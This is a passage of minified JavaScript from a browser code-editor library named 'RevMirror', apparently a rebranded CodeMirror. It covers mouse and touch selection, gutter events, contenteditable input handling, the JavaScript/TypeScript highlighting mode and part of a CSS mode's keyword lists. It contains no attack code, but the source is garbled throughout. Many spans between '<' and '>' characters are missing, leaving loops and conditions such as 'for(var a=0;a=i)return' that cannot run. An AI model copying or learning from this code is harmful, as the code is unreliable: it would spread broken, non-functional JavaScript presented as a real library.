mi(ve(s,c),ve(s,X(u,l,r))))}t.length||t.push(new mi(m,m)),Yi(b,yi(C.ranges.slice(0,x).concat(t),x),{origin:"*mouse",scroll:!1}),v.scrollIntoView(e)}else{var h,f=w,d=hl(v,e,y.unit),p=f.anchor;0=i.to||n.linea.bottom?20:0;o&&setTimeout(Yn(v,function(){u==r&&(l.scroller.scrollTop+=o,e(t))}),50)}}(e):n(e)}),o=Yn(v,n);v.state.selectingText=o,tt(l.wrapper.ownerDocument,"mousemove",i),tt(l.wrapper.ownerDocument,"mouseup",o)}(e,n,t,o)}(t,l,a,e):dt(e)==r.scroller&&ut(e):2==s?(l&&Ui(t.doc,l),setTimeout(function(){return r.input.focus()},20)):3==s&&(S?pl(t,e):gn(t)))}}function hl(e,t,r){if("char"==r)return new mi(t,t);if("word"==r)return e.findWordAt(t);if("line"==r)return new mi(ve(t.line,0),Se(e.doc,ve(t.line+1,0)));var n=r(e,t);return new mi(n.from,n.to)}function fl(e,t,r,n){var i,o;if(t.touches)i=t.touches[0].clientX,o=t.touches[0].clientY;else try{i=t.clientX,o=t.clientY}catch(t){return!1}if(i>=Math.floor(e.display.gutters.getBoundingClientRect().right))return!1;n&&ut(t);var l=e.display,s=l.lineDiv.getBoundingClientRect();if(o>s.bottom||!st(e,r))return ht(t);o-=s.top-l.viewOffset;for(var a=0;a=i)return it(e,r,e,de(e.doc,o),e.options.gutters[a],t),ht(t)}}function dl(e,t){return fl(e,t,"gutterClick",!0)}function pl(e,t){wr(e.display,t)||function(e,t){if(!st(e,"gutterContextMenu"))return!1;return fl(e,t,"gutterContextMenu",!1)}(e,t)||ot(e,t,"contextmenu")||e.display.input.onContextMenu(t)}function gl(e){e.display.wrapper.className=e.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+e.options.theme.replace(/(^|\s)\s*/g," cm-s-"),zr(e)}ul.prototype.compare=function(e,t,r){return this.time+400>e&&0==me(t,this.pos)&&r==this.button};var vl={toString:function(){return"RevMirror.Init"}},ml={},yl={};function bl(e){ui(e),qn(e),xn(e)}function wl(e,t,r){if(!t!=!(r&&r!=vl)){var n=e.display.dragFunctions,i=t?tt:nt;i(e.display.scroller,"dragstart",n.start),i(e.display.scroller,"dragenter",n.enter),i(e.display.scroller,"dragover",n.over),i(e.display.scroller,"dragleave",n.leave),i(e.display.scroller,"drop",n.drop)}}function xl(e){e.options.lineWrapping?(H(e.display.wrapper,"RevMirror-wrap"),e.display.sizer.style.minWidth="",e.display.sizerWidth=null):(T(e.display.wrapper,"RevMirror-wrap"),$e(e)),on(e),qn(e),zr(e),setTimeout(function(){return Pn(e)},100)}function Cl(e,t){var r=this;if(!(this instanceof Cl))return new Cl(e,t);this.options=t=t?I(t):{},I(ml,t,!1),ci(t);var n=t.value;"string"==typeof n&&(n=new ko(n,t.mode,null,t.lineSeparator,t.direction)),this.doc=n;var i=new Cl.inputStyles[t.inputStyle](this),o=this.display=new se(e,n,i);for(var l in ui(o.wrapper.RevMirror=this),gl(this),t.lineWrapping&&(this.display.wrapper.className+=" RevMirror-wrap"),zn(this),this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,selectingText:!1,draggingText:!1,highlight:new R,keySeq:null,specialChars:null},t.autofocus&&!f&&o.input.focus(),x&&C<11&&setTimeout(function(){return r.display.input.reset(!0)},20),function(i){var o=i.display;tt(o.scroller,"mousedown",Yn(i,cl)),tt(o.scroller,"dblclick",x&&C<11?Yn(i,function(e){if(!ot(i,e)){var t=ln(i,e);if(t&&!dl(i,e)&&!wr(i.display,e)){ut(e);var r=i.findWordAt(t);Ui(i.doc,r.anchor,r.head)}}}):function(e){return ot(i,e)||ut(e)});S||tt(o.scroller,"contextmenu",function(e){return pl(i,e)});var r,n={end:0};function l(){o.activeTouch&&(r=setTimeout(function(){return o.activeTouch=null},1e3),(n=o.activeTouch).end=+new Date)}function s(e,t){if(null==t.left)return!0;var r=t.left-e.left,n=t.top-e.top;return 400o.first?z(ae(o,t-1).text,null,l):0:"add"==r?u=a+e.options.indentUnit:"subtract"==r?u=a-e.options.indentUnit:"number"==typeof r&&(u=a+r),u=Math.max(0,u);var h="",f=0;if(e.options.indentWithTabs)for(var d=Math.floor(u/l);d;--d)f+=l,h+="\t";if(f=r.text.length?(s.ch=r.text.length,s.sticky="before"):s.ch<=0&&(s.ch=0,s.sticky="after");var n=Ze(a,s.ch,s.sticky),i=a[n];if("ltr"==t.doc.direction&&i.level%2==0&&(0s.ch:i.from=i.from&&f>=c.begin)){var d=h?"before":"after";return new ve(s.line,f,d)}}var p=function(e,t,r){for(var n=function(e,t){return t?new ve(s.line,u(e,1),"before"):new ve(s.line,e,"after")};0<=e&&e=n.first+n.size||(i=new ve(r,i.ch,i.sticky),!(s=ae(n,r))))return!1;i=_o(l,n.cm,s,i.line,o)}else i=t;return!0}if("char"==e)a();else if("column"==e)a(!0);else if("word"==e||"group"==e)for(var u=null,c="group"==e,h=n.cm&&n.cm.getHelper(i,"wordChars"),f=!0;!(o<0)||a(!f);f=!1){var d=s.text.charAt(i.ch)||"\n",p=te(d,h)?"w":c&&"\n"==d?"n":!c||/\s/.test(d)?null:"p";if(!c||f||p||(p="s"),u&&u!=p){o<0&&(o=1,a(),i.sticky="after");break}if(p&&(u=p),0=l.height){o.hitSide=!0;break}i+=5*r}return o}var Pl=function(e){this.cm=e,this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null,this.polling=new R,this.composing=null,this.gracePeriod=!1,this.readDOMTimeout=null};function El(e,t){var r=Or(e,t.line);if(!r||r.hidden)return null;var n=ae(e.doc,t.line),i=Mr(r,n,t.line),o=Je(n,e.doc.direction),l="left";o&&(l=Ze(o,t.ch)%2?"right":"left");var s=Fr(i.map,t.ch,l);return s.offset="right"==s.collapse?s.end:s.start,s}function Il(e,t){return t&&(e.bad=!0),e}function zl(e,t,r){var n;if(t==e.display.lineDiv){if(!(n=e.display.lineDiv.childNodes[r]))return Il(e.clipPos(ve(e.display.viewTo-1)),!0);t=null,r=0}else for(n=t;;n=n.parentNode){if(!n||n==e.display.lineDiv)return null;if(n.parentNode&&n.parentNode==e.display.lineDiv)break}for(var i=0;i=t.display.viewTo||i.line=t.display.viewFrom&&El(t,n)||{node:s[0].measure.map[2],offset:0},u=i.linen.firstLine()&&(l=ve(l.line-1,ae(n.doc,l.line-1).length)),s.ch==ae(n.doc,s.line).text.length&&s.linei.viewTo-1)return!1;l.line==i.viewFrom||0==(e=sn(n,l.line))?(t=fe(i.view[0].line),r=i.view[0].node):(t=fe(i.view[e].line),r=i.view[e-1].node.nextSibling);var a,u,c=sn(n,s.line);if(c==i.view.length-1?(a=i.viewTo-1,u=i.lineDiv.lastChild):(a=fe(i.view[c+1].line)-1,u=i.view[c+1].node.previousSibling),!r)return!1;for(var h=n.doc.splitLines(function(a,e,t,u,c){var r="",h=!1,f=a.doc.lineSeparator(),d=!1;function p(){h&&(r+=f,d&&(r+=f),h=d=!1)}function g(e){e&&(p(),r+=e)}function v(e){if(1==e.nodeType){var t=e.getAttribute("cm-text");if(t)return void g(t);var r,n=e.getAttribute("cm-marker");if(n){var i=a.findMarks(ve(u,0),ve(c+1,0),(s=+n,function(e){return e.id==s}));return void(i.length&&(r=i[0].find(0))&&g(ue(a.doc,r.from,r.to).join(f)))}if("false"==e.getAttribute("contenteditable"))return;var o=/^(pre|div|p|li|table|br)$/i.test(e.nodeName);if(!/^br$/i.test(e.nodeName)&&0==e.textContent.length)return;o&&p();for(var l=0;ll.ch&&y.charCodeAt(y.length-p-1)==b.charCodeAt(b.length-p-1);)d--,p++;h[h.length-1]=y.slice(0,y.length-p).replace(/^\u200b+/,""),h[0]=h[0].slice(d).replace(/\u200b+$/,"");var x=ve(t,d),C=ve(a,f.length?$(f).length-p:0);return 1n&&(Ll(t,o.head.line,e,!0),n=o.head.line,i==t.doc.sel.primIndex&&kn(t));else{var l=o.from(),s=o.to(),a=Math.max(n,l.line);n=Math.min(t.lastLine(),s.line-(s.ch?0:1))+1;for(var u=a;u>1;if((l?r[2*l-1]:0)>=o)i=l;else{if(!(r[2*l+1]h)&&e.top>t.offsetHeight?u=e.top-t.offsetHeight:e.bottom+t.offsetHeight<=h&&(u=e.bottom),c+t.offsetWidth>f&&(c=f-t.offsetWidth)}t.style.top=u+"px",t.style.left=t.style.right="","right"==i?(c=a.sizer.clientWidth-t.offsetWidth,t.style.right="0px"):("left"==i?c=0:"middle"==i&&(c=(a.sizer.clientWidth-t.offsetWidth)/2),t.style.left=c+"px"),r&&(o=this,l={left:c,top:u,right:c+t.offsetWidth,bottom:u+t.offsetHeight},null!=(s=Sn(o,l)).scrollTop&&On(o,s.scrollTop),null!=s.scrollLeft&&Dn(o,s.scrollLeft))},triggerOnKeyDown:_n(il),triggerOnKeyPress:_n(ll),triggerOnKeyUp:ol,triggerOnMouseDown:_n(cl),execCommand:function(e){if($o.hasOwnProperty(e))return $o[e].call(null,this)},triggerElectric:_n(function(e){Ol(this,e)}),findPosH:function(e,t,r,n){var i=1;t<0&&(i=-1,t=-t);for(var o=Se(this.doc,e),l=0;l!?|~^@]/,v=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;function k(e,t,r){return n=e,a=r,t}function y(e,t){var a,r=e.next();if('"'==r||"'"==r)return t.tokenize=(a=r,function(e,t){var r,n=!1;if(o&&"@"==e.peek()&&e.match(v))return t.tokenize=y,k("jsonld-keyword","meta");for(;null!=(r=e.next())&&(r!=a||n);)n=!n&&"\\"==r;return n||(t.tokenize=y),k("string","string")}),t.tokenize(e,t);if("."==r&&e.match(/^\d+(?:[eE][+\-]?\d+)?/))return k("number","number");if("."==r&&e.match(".."))return k("spread","meta");if(/[\[\]{}\(\),;\:\.]/.test(r))return k(r);if("="==r&&e.eat(">"))return k("=>","operator");if("0"==r&&e.match(/^(?:x[\da-f]+|o[0-7]+|b[01]+)n?/i))return k("number","number");if(/\d/.test(r))return e.match(/^\d*(?:n|(?:\.\d*)?(?:[eE][+\-]?\d+)?)?/),k("number","number");if("/"==r)return e.eat("*")?(t.tokenize=w)(e,t):e.eat("/")?(e.skipToEnd(),k("comment","comment")):Je(e,t,1)?(function(e){for(var t,r=!1,n=!1;null!=(t=e.next());){if(!r){if("/"==t&&!n)return;"["==t?n=!0:n&&"]"==t&&(n=!1)}r=!r&&"\\"==t}}(e),e.match(/^\b(([gimyus])(?![gimyus]*\2))+\b/),k("regexp","string-2")):(e.eat("="),k("operator","operator",e.current()));if("`"==r)return(t.tokenize=b)(e,t);if("#"==r)return e.skipToEnd(),k("error","error");if(m.test(r))return">"==r&&t.lexical&&">"==t.lexical.type||(e.eat("=")?"!"!=r&&"="!=r||e.eat("="):/[<>*+\-]/.test(r)&&(e.eat(r),">"==r&&e.eat(r))),k("operator","operator",e.current());if(f.test(r)){e.eatWhile(f);var n=e.current();if("."!=t.lastType){if(s.propertyIsEnumerable(n)){var i=s[n];return k(i.type,i.style,n)}if("async"==n&&e.match(/^(\s|\/\*.*?\*\/)*[\[\(\w]/,!1))return k("async","keyword",n)}return k("variable","variable",n)}}function w(e,t){for(var r,n=!1;r=e.next();){if("/"==r&&n){t.tokenize=y;break}n="*"==r}return k("comment","comment")}function b(e,t){for(var r,n=!1;null!=(r=e.next());){if(!n&&("`"==r||"$"==r&&e.eat("{"))){t.tokenize=y;break}n=!n&&"\\"==r}return k("quasi","string-2",e.current())}var x="([{}])";function i(e,t){t.fatArrowAt&&(t.fatArrowAt=null);var r=e.string.indexOf("=>",e.start);if(!(r<0)){if(u){var n=/:\s*(?:\w+(?:<[^>]*>|\[\])?|\{[^}]*\})\s*$/.exec(e.string.slice(e.start,r));n&&(r=n.index)}for(var a=0,i=!1,o=r-1;0<=o;--o){var c=e.string.charAt(o),s=x.indexOf(c);if(0<=s&&s<3){if(!a){++o;break}if(0==--a){"("==c&&(i=!0);break}}else if(3<=s&&s<6)++a;else if(f.test(c))i=!0;else{if(/["'\/]/.test(c))return;if(i&&!a){++o;break}}}i&&!a&&(t.fatArrowAt=o)}}var h={atom:!0,number:!0,variable:!0,string:!0,regexp:!0,this:!0,"jsonld-keyword":!0};function g(e,t,r,n,a,i){this.indented=e,this.column=t,this.type=r,this.prev=a,this.info=i,null!=n&&(this.align=n)}function j(e,t){for(var r=e.localVars;r;r=r.next)if(r.name==t)return!0;for(var n=e.context;n;n=n.prev)for(r=n.vars;r;r=r.next)if(r.name==t)return!0}var M={state:null,column:null,marked:null,cc:null};function V(){for(var e=arguments.length-1;0<=e;e--)M.cc.push(arguments[e])}function A(){return V.apply(null,arguments),!0}function E(e,t){for(var r=t;r;r=r.next)if(r.name==e)return!0;return!1}function r(e){var t=M.state;if(M.marked="def",t.context)if("var"==t.lexical.info&&t.context&&t.context.block){var r=function e(t,r){{if(r){if(r.block){var n=e(t,r.prev);return n?n==r.prev?r:new I(n,r.vars,!0):null}return E(t,r.vars)?r:new I(r.prev,new T(t,r.vars),!1)}return null}}(e,t.context);if(null!=r)return void(t.context=r)}else if(!E(e,t.localVars))return void(t.localVars=new T(e,t.localVars));l.globalVars&&!E(e,t.globalVars)&&(t.globalVars=new T(e,t.globalVars))}function z(e){return"public"==e||"private"==e||"protected"==e||"abstract"==e||"readonly"==e}function I(e,t,r){this.prev=e,this.vars=t,this.block=r}function T(e,t){this.name=e,this.next=t}var t=new T("this",new T("arguments",null));function $(){M.state.context=new I(M.state.context,M.state.localVars,!1),M.state.localVars=t}function C(){M.state.context=new I(M.state.context,M.state.localVars,!0),M.state.localVars=null}function q(){M.state.localVars=M.state.context.vars,M.state.context=M.state.context.prev}function O(n,a){var e=function(){var e=M.state,t=e.indented;if("stat"==e.lexical.type)t=e.lexical.indented;else for(var r=e.lexical;r&&")"==r.type&&r.align;r=r.prev)t=r.indented;e.lexical=new g(t,M.stream.column(),n,null,e.lexical,a)};return e.lex=!0,e}function P(){var e=M.state;e.lexical.prev&&(")"==e.lexical.type&&(e.indented=e.lexical.indented),e.lexical=e.lexical.prev)}function S(r){return function e(t){return t==r?A():";"==r||"}"==t||")"==t||"]"==t?V():A(e)}}function N(e,t){return"var"==e?A(O("vardef",t),ye,S(";"),P):"keyword a"==e?A(O("form"),W,N,P):"keyword b"==e?A(O("form"),N,P):"keyword d"==e?M.stream.match(/^\s*$/,!1)?A():A(O("stat"),F,S(";"),P):"debugger"==e?A(S(";")):"{"==e?A(O("}"),C,ie,P,q):";"==e?A():"if"==e?("else"==M.state.lexical.info&&M.state.cc[M.state.cc.length-1]==P&&M.state.cc.pop()(),A(O("form"),W,N,P,ge)):"function"==e?A(ze):"for"==e?A(O("form"),je,N,P):"class"==e||u&&"interface"==t?(M.marked="keyword",A(O("form"),$e,P)):"variable"==e?u&&"declare"==t?(M.marked="keyword",A(N)):u&&("module"==t||"enum"==t||"type"==t)&&M.stream.match(/^\s*\w/,!1)?(M.marked="keyword","enum"==t?A(Fe):"type"==t?A(ue,S("operator"),ue,S(";")):A(O("form"),we,S("{"),O("}"),ie,P,P)):u&&"namespace"==t?(M.marked="keyword",A(O("form"),B,ie,P)):u&&"abstract"==t?(M.marked="keyword",A(N)):A(O("stat"),Z):"switch"==e?A(O("form"),W,S("{"),O("}","switch"),C,ie,P,P,q):"case"==e?A(B,S(":")):"default"==e?A(S(":")):"catch"==e?A(O("form"),$,U,N,P,q):"export"==e?A(O("stat"),Pe,P):"import"==e?A(O("stat"),Ne,P):"async"==e?A(N):"@"==t?A(B,N):V(O("stat"),B,S(";"),P)}function U(e){if("("==e)return A(Ie,S(")"))}function B(e,t){return D(e,t,!1)}function H(e,t){return D(e,t,!0)}function W(e){return"("!=e?V():A(O(")"),B,S(")"),P)}function D(e,t,r){if(M.state.fatArrowAt==M.stream.start){var n=r?R:Q;if("("==e)return A($,O(")"),ne(Ie,")"),P,S("=>"),n,q);if("variable"==e)return V($,we,S("=>"),n,q)}var a,i=r?J:G;return h.hasOwnProperty(e)?A(i):"function"==e?A(ze,i):"class"==e||u&&"interface"==t?(M.marked="keyword",A(O("form"),Te,P)):"keyword c"==e||"async"==e?A(r?H:B):"("==e?A(O(")"),F,S(")"),P,i):"operator"==e||"spread"==e?A(r?H:B):"["==e?A(O("]"),De,P,i):"{"==e?ae(ee,"}",null,i):"quasi"==e?V(K,i):"new"==e?A((a=r,function(e){return"."==e?A(a?Y:X):"variable"==e&&u?A(me,a?J:G):V(a?H:B)})):"import"==e?A(B):A()}function F(e){return e.match(/[;\}\)\],]/)?V():V(B)}function G(e,t){return","==e?A(B):J(e,t,!1)}function J(e,t,r){var n=0==r?G:J,a=0==r?B:H;return"=>"==e?A($,r?R:Q,q):"operator"==e?/\+\+|--/.test(t)||u&&"!"==t?A(n):u&&"<"==t&&M.stream.match(/^([^>]|<.*?>)*>\s*\(/,!1)?A(O(">"),ne(ue,">"),P,n):"?"==t?A(B,S(":"),a):A(a):"quasi"==e?V(K,n):";"!=e?"("==e?ae(H,")","call",n):"."==e?A(_,n):"["==e?A(O("]"),F,S("]"),P,n):u&&"as"==t?(M.marked="keyword",A(ue,n)):"regexp"==e?(M.state.lastType=M.marked="operator",M.stream.backUp(M.stream.pos-M.stream.start-1),A(a)):void 0:void 0}function K(e,t){return"quasi"!=e?V():"${"!=t.slice(t.length-2)?A(K):A(B,L)}function L(e){if("}"==e)return M.marked="string-2",M.state.tokenize=b,A(K)}function Q(e){return i(M.stream,M.state),V("{"==e?N:B)}function R(e){return i(M.stream,M.state),V("{"==e?N:H)}function X(e,t){if("target"==t)return M.marked="keyword",A(G)}function Y(e,t){if("target"==t)return M.marked="keyword",A(J)}function Z(e){return":"==e?A(P,N):V(G,S(";"),P)}function _(e){if("variable"==e)return M.marked="property",A()}function ee(e,t){if("async"==e)return M.marked="property",A(ee);if("variable"==e||"keyword"==M.style){return M.marked="property","get"==t||"set"==t?A(te):(u&&M.state.fatArrowAt==M.stream.start&&(r=M.stream.match(/^\s*:\s*/,!1))&&(M.state.fatArrowAt=M.stream.pos+r[0].length),A(re));var r}else{if("number"==e||"string"==e)return M.marked=o?"property":M.style+" property",A(re);if("jsonld-keyword"==e)return A(re);if(u&&z(t))return M.marked="keyword",A(ee);if("["==e)return A(B,oe,S("]"),re);if("spread"==e)return A(H,re);if("*"==t)return M.marked="keyword",A(ee);if(":"==e)return V(re)}}function te(e){return"variable"!=e?V(re):(M.marked="property",A(ze))}function re(e){return":"==e?A(H):"("==e?V(ze):void 0}function ne(n,a,i){function o(e,t){if(i?-1"),ue):void 0}function fe(e){if("=>"==e)return A(ue)}function le(e,t){return"variable"==e||"keyword"==M.style?(M.marked="property",A(le)):"?"==t?A(le):":"==e?A(ue):"["==e?A(B,oe,S("]"),le):void 0}function de(e,t){return"variable"==e&&M.stream.match(/^\s*[?:]/,!1)||"?"==t?A(de):":"==e?A(ue):V(ue)}function pe(e,t){return"<"==t?A(O(">"),ne(ue,">"),P,pe):"|"==t||"."==e||"&"==t?A(ue):"["==e?A(S("]"),pe):"extends"==t||"implements"==t?(M.marked="keyword",A(ue)):void 0}function me(e,t){if("<"==t)return A(O(">"),ne(ue,">"),P,pe)}function ve(){return V(ue,ke)}function ke(e,t){if("="==t)return A(ue)}function ye(e,t){return"enum"==t?(M.marked="keyword",A(Fe)):V(we,oe,xe,he)}function we(e,t){return u&&z(t)?(M.marked="keyword",A(we)):"variable"==e?(r(t),A()):"spread"==e?A(we):"["==e?ae(we,"]"):"{"==e?ae(be,"}"):void 0}function be(e,t){return"variable"!=e||M.stream.match(/^\s*:/,!1)?("variable"==e&&(M.marked="property"),"spread"==e?A(we):"}"==e?V():A(S(":"),we,xe)):(r(t),A(xe))}function xe(e,t){if("="==t)return A(H)}function he(e){if(","==e)return A(ye)}function ge(e,t){if("keyword b"==e&&"else"==t)return A(O("form","else"),N,P)}function je(e,t){return"await"==t?A(je):"("==e?A(O(")"),Me,S(")"),P):void 0}function Me(e){return"var"==e?A(ye,S(";"),Ae):";"==e?A(Ae):"variable"==e?A(Ve):V(B,S(";"),Ae)}function Ve(e,t){return"in"==t||"of"==t?(M.marked="keyword",A(B)):A(G,Ae)}function Ae(e,t){return";"==e?A(Ee):"in"==t||"of"==t?(M.marked="keyword",A(B)):V(B,S(";"),Ee)}function Ee(e){")"!=e&&A(B)}function ze(e,t){return"*"==t?(M.marked="keyword",A(ze)):"variable"==e?(r(t),A(ze)):"("==e?A($,O(")"),ne(Ie,")"),P,ce,N,q):u&&"<"==t?A(O(">"),ne(ve,">"),P,ze):void 0}function Ie(e,t){return"@"==t&&A(B,Ie),"spread"==e?A(Ie):u&&z(t)?(M.marked="keyword",A(Ie)):V(we,oe,xe)}function Te(e,t){return"variable"==e?$e(e,t):Ce(e,t)}function $e(e,t){if("variable"==e)return r(t),A(Ce)}function Ce(e,t){return"<"==t?A(O(">"),ne(ve,">"),P,Ce):"extends"==t||"implements"==t||u&&","==e?("implements"==t&&(M.marked="keyword"),A(u?ue:B,Ce)):"{"==e?A(O("}"),qe,P):void 0}function qe(e,t){return"async"==e||"variable"==e&&("static"==t||"get"==t||"set"==t||u&&z(t))&&M.stream.match(/^\s+[\w$\xa1-\uffff]/,!1)?(M.marked="keyword",A(qe)):"variable"==e||"keyword"==M.style?(M.marked="property",A(u?Oe:ze,qe)):"["==e?A(B,oe,S("]"),u?Oe:ze,qe):"*"==t?(M.marked="keyword",A(qe)):";"==e?A(qe):"}"==e?A():"@"==t?A(B,qe):void 0}function Oe(e,t){return"?"==t?A(Oe):":"==e?A(ue,xe):"="==t?A(H):V(ze)}function Pe(e,t){return"*"==t?(M.marked="keyword",A(We,S(";"))):"default"==t?(M.marked="keyword",A(B,S(";"))):"{"==e?A(ne(Se,"}"),We,S(";")):V(N)}function Se(e,t){return"as"==t?(M.marked="keyword",A(S("variable"))):"variable"==e?V(H,Se):void 0}function Ne(e){return"string"==e?A():"("==e?V(B):V(Ue,Be,We)}function Ue(e,t){return"{"==e?ae(Ue,"}"):("variable"==e&&r(t),"*"==t&&(M.marked="keyword"),A(He))}function Be(e){if(","==e)return A(Ue,Be)}function He(e,t){if("as"==t)return M.marked="keyword",A(Ue)}function We(e,t){if("from"==t)return M.marked="keyword",A(B)}function De(e){return"]"==e?A():V(ne(H,"]"))}function Fe(){return V(O("form"),we,S("{"),O("}"),ne(Ge,"}"),P,P)}function Ge(){return V(we,xe)}function Je(e,t,r){return t.tokenize==y&&/^(?:operator|sof|keyword [bcd]|case|new|export|default|spread|[\[{}\(,;:]|=>)$/.test(t.lastType)||"quasi"==t.lastType&&/\{\s*$/.test(e.string.slice(0,e.pos-(r||0)))}return P.lex=q.lex=!0,{startState:function(e){var t={tokenize:y,lastType:"sof",cc:[],lexical:new g((e||0)-d,0,"block",!1),localVars:l.localVars,context:l.localVars&&new I(null,null,!1),indented:e||0};return l.globalVars&&"object"==typeof l.globalVars&&(t.globalVars=l.globalVars),t},token:function(e,t){if(e.sol()&&(t.lexical.hasOwnProperty("align")||(t.lexical.align=!1),t.indented=e.indentation(),i(e,t)),t.tokenize!=w&&e.eatSpace())return null;var r=t.tokenize(e,t);return"comment"==n?r:(t.lastType="operator"!=n||"++"!=a&&"--"!=a?n:"incdec",function(e,t,r,n,a){var i=e.cc;for(M.state=e,M.stream=a,M.marked=null,M.cc=i,M.style=t,e.lexical.hasOwnProperty("align")||(e.lexical.align=!0);;)if((i.length?i.pop():c?B:N)(r,n)){for(;i.length&&i[i.length-1].lex;)i.pop()();return M.marked?M.marked:"variable"==r&&j(e,n)?"variable-2":t}}(t,r,n,a,e))},indent:function(e,t){if(e.tokenize==w)return Ke.Pass;if(e.tokenize!=y)return 0;var r,n=t&&t.charAt(0),a=e.lexical;if(!/^\s*else\b/.test(t))for(var i=e.cc.length-1;0<=i;--i){var o=e.cc[i];if(o==P)a=a.prev;else if(o!=ge)break}for(;("stat"==a.type||"form"==a.type)&&("}"==n||(r=e.cc[e.cc.length-1])&&(r==G||r==J)&&!/^[,\.=+\-*:?[\(]/.test(t));)a=a.prev;p&&")"==a.type&&"stat"==a.prev.type&&(a=a.prev);var c,s,u=a.type,f=n==u;return"vardef"==u?a.indented+("operator"==e.lastType||","==e.lastType?a.info.length+1:0):"form"==u&&"{"==n?a.indented:"form"==u?a.indented+d:"stat"==u?a.indented+(s=t,"operator"==(c=e).lastType||","==c.lastType||m.test(s.charAt(0))||/[,.]/.test(s.charAt(0))?p||d:0):"switch"!=a.info||f||0==l.doubleIndentSwitch?a.align?a.column+(f?0:1):a.indented+(f?0:d):a.indented+(/^(?:case|default)\b/.test(t)?d:2*d)},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:c?null:"/*",blockCommentEnd:c?null:"*/",blockCommentContinue:c?null:" * ",lineComment:c?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:c?"json":"javascript",jsonldMode:o,jsonMode:c,expressionAllowed:Je,skipExpression:function(e){var t=e.cc[e.cc.length-1];t!=B&&t!=H||e.cc.pop()}}}),Ke.registerHelper("wordChars","javascript",/[\w$]/),Ke.defineMIME("text/javascript","javascript"),Ke.defineMIME("text/ecmascript","javascript"),Ke.defineMIME("application/javascript","javascript"),Ke.defineMIME("application/x-javascript","javascript"),Ke.defineMIME("application/ecmascript","javascript"),Ke.defineMIME("application/json",{name:"javascript",json:!0}),Ke.defineMIME("application/x-json",{name:"javascript",json:!0}),Ke.defineMIME("application/ld+json",{name:"javascript",jsonld:!0}),Ke.defineMIME("text/typescript",{name:"javascript",typescript:!0}),Ke.defineMIME("application/typescript",{name:"javascript",typescript:!0})}); !function(e){"object"==typeof exports&&"object"==typeof module?e(require("../../lib/RevMirror")):"function"==typeof define&&define.amd?define(["../../lib/RevMirror"],e):e(RevMirror)}(function(T){"use strict";function e(e){for(var t={},r=0;r*\/]/.test(r)?k(null,"select-op"):"."==r&&e.match(/^-?[_a-z][_a-z0-9-]*/i)?k("qualifier","qualifier"):/[:;{}\[\]\(\)]/.test(r)?k(null,r):("u"==r||"U"==r)&&e.match(/rl(-prefix)?\(/i)||("d"==r||"D"==r)&&e.match("omain(",!0,!0)||("r"==r||"R"==r)&&e.match("egexp(",!0,!0)?(e.backUp(1),t.tokenize=x,k("property","word")):/[\w\\\-]/.test(r)?(e.eatWhile(/[\w\\\-]/),k("property","word")):k(null,null):/[\d.]/.test(e.peek())?(e.eatWhile(/[\w.%]/),k("number","unit")):e.match(/^-[\w\\\-]+/)?(e.eatWhile(/[\w\\\-]/),e.match(/^\s*:/,!1)?k("variable-2","variable-definition"):k("variable-2","variable")):e.match(/^\w+-/)?k("meta","meta"):void 0})(e,t);return r&&"object"==typeof r&&(o=r[1],r=r[0]),i=r,"comment"!=o&&(t.state=B[t.state](o,e,t)),i},indent:function(e,t){var r=e.context,o=t&&t.charAt(0),i=r.indent;return"prop"!=r.type||"}"!=o&&")"!=o||(r=r.prev),r.prev&&("}"!=o||"block"!=r.type&&"top"!=r.type&&"interpolation"!=r.type&&"restricted_atBlock"!=r.type?(")"!=o||"parens"!=r.type&&"atBlock_parens"!=r.type)&&("{"!=o||"at"!=r.type&&"atBlock"!=r.type)||(i=Math.max(0,r.indent-a)):i=(r=r.prev).indent),i},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",blockCommentContinue:" * ",lineComment:y,fold:"brace"}});var t=["domain","regexp","url","url-prefix"],r=e(t),o=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],i=e(o),a=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid","orientation","device-pixel-ratio","min-device-pixel-ratio","max-device-pixel-ratio","pointer","any-pointer","hover","any-hover"],n=e(a),l=["landscape","portrait","none","coarse","fine","on-demand","hover","interlace","progressive"],s=e(l),c=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-blend-mode","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","caret-color","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","gri